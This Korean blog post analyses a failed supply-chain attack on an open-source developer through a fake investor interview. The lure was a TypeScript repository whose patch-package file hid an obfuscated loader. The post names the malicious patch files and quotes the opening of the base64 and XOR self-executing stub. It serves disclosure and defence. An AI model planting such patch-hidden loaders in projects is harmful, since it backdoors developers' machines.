실패한 (국가 지원?) 해킹 공격의 해부
오픈소스 개발자를 겨냥해 가짜 채용 면접으로 접근한 정교한 공급망(supply chain) 해킹 시도의 전말을 다룬 사례 분석입니다. 공격자는 TypeScript 저장소에 악성 패치 파일을 숨겨 기기에 백도어를 심으려 했으나, AI 모델(Claude)을 활용한 코드 분석으로 악성 페이로드(PinpinRAT)가 조기에 발견되어 공격에 실패했습니다.
정보 공개 🧠 이 글은 순수하게 인간이 작성했습니다(IoC 정보는 제외). 시간이 촉박했기 때문에 RAT(원격 접속 트로이목마) 분석을 가속화하고 IoC 탐지 스크립트를 구축하는 데 Claude를 사용했습니다. 저는 캐나다에 거주하고 있으므로 이 정보는 적절한 캐나다 기관(CCCS 등)에 보고되었습니다. 악성 페이로드가 포함된 이미지는 VirusTotal의 어떤 안티바이러스 엔진도 트리거하지 않습니다. 공격자의 신원은 허구이지만, 혼동될 수 있는 동일한 이름의 무고한 개인이 있어 이 글에서는 이름을 제외했습니다. Reddit에는 Rust 커뮤니티에서 자신들도 표적이 되었다고 언급한 다른 사람들이 몇 명 있습니다.
이번 주에 저는 제 기기에 백도어를 식하려 고안된 가짜 면접 사기와 매우 가까이 접촉했으며, 이메일의 맥락을 보아 제 crates.io 패키지도 노려졌다고 추측합니다. 참고: 저는 내부 문자열 중 일부 때문에 이를 "PinpinRAT"라고 부르지만, 온라인에는 다른 이름으로 존재할 수도 있습니다. 온라인에서는 이에 대한 다른 참조를 찾을 수 없었습니다.
일주일 반 전, 저는 DeFi 분야의 싱가포르 기반 VC(당시에는 몰랐지만 이미 폐업한 상태)인 Lua Ventures에서 왔다고 주장하는 "D█████ S████"로부터 이메일를 받았습니다. 분명히 말씀드리자면, 이것은 조작된 인물입니다. 이 이름은 여러 실존 인물과 쉽게 혼동되도록 선택되었을 가능성이 높습니다. 이메일은 진짜처럼 보였고, 다소 지루하지만 합법적으로 보이는 LinkedIn 프로필 링크도 포함되어 있었습니다. 공격자는 자문(Advisory)을 적극적으로 찾고 있는 그들의 투자사 두 곳인 Lyrasing과 Roadpay를 언급하기까지 했습니다. 두 회사를 검색하는 것은 별다른 의심의 원인이 되지 않았습니다. 두 회사 모두 매우 기본적인 웹사이트를 가지고 있었지만, 초기 단계의 스타트업일 뿐 가짜라고 판단할 만한 증거는 없었습니다(roadpay.cc의 archive.org 스냅샷).
우리는 미팅 시간을 두고 이메일을 주고받다가 결국 대화할 시간을 정했습니다. 전화 통화 자체도 이상한 점이 없었습니다. 독일 억양을 가진 알아듣기 다소 어려운 남자가 전화 너머에 있었습니다. 그는 여행 중에 전화를 받고 있다고 말했는데 약간 이상했지만, 이것 역시 반드시 의심해야 할 신호는 아니었습니다.
통화 후에 미끼가 나왔습니다. 후속 이메일을 통해 "테스트"를 제안했습니다. 이쯤 되자 저는 약간 짜증이 났지만, 의심하진 않았습니다. 리포지토리를 클론했지만, 첫 번째 진짜 위험 신호(Red Flag)는 여기서 발생했습니다.
제가 운이 좋았던 이유: 그들이 저에게 TypeScript 리포지토리를 보냈다는 점입니다. 이것은 제게 전혀 말이 되지 않았습니다. 안내 사항은 아키텍처 분석이라기보다는 TypeScript 직무 면접처럼 보였습니다. 신중함과 약간의 게으름을 섞어 리포지토리를 압축해서 Claude에 던져 넣고 빠르게 스캔해보기로 했습니다. 몇 순간 후, Claude는 몇 가지 기이한 점을 식별했습니다.
눈에 띄는 점은, 루트 package.json에 postinstall/preinstall 훅이 없다는 것입니다. 이는 흥미로운 부분인데, 왜냐하면 그들이 patch-package를 사용하고 있었기 때문입니다(일반적으로 postinstall에 연결됨). 모든 package.json에서 라이프사이클 스크립트를 확인하고 패치 파일(실제 위험 영역 - 패치는 node_modules에 임의의 코드를 주입할 수 있음)을 감사해 보겠습니다.
이는 제 흥미를 자극했습니다. 디렉터리를 직접 스캔해보니 상당히 비합리적인 수의 patches/ 디렉터리를 발견했습니다. 제가 확인한 처음 몇 개는 무해해 보였지만, 짐작하시겠지만, 이들은 진짜 페이로드가 적발되지 않도록 노이즈(방해물)를 추가하려는 것뿐이었습니다.
packages/electron-benchmarks/patches/sumchecker+3.0.1.patch packages/electron-benchmarks/patches/@electron+get+2.0.3.patch packages/electron-benchmarks/patches/extract-zip+2.0.1.patch
제가 천천히 수동으로 확인하는 동안, Claude는 PinpinRAT의 첫 징후를 식별했습니다. 찾았습니다. 이것은 악성 페이로드입니다. typescript+5.9.2.patch 파일에 내장되어 있으며, TypeScript에 대한 루틴한 "모듈 지정자(module specifier)" 패치로 보이는 것 내부에 _tsc.js 및 typescript.js의 맨 위에 주입된 base64-blob 자체 실행 난독화 스텁이 있습니다.
;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly',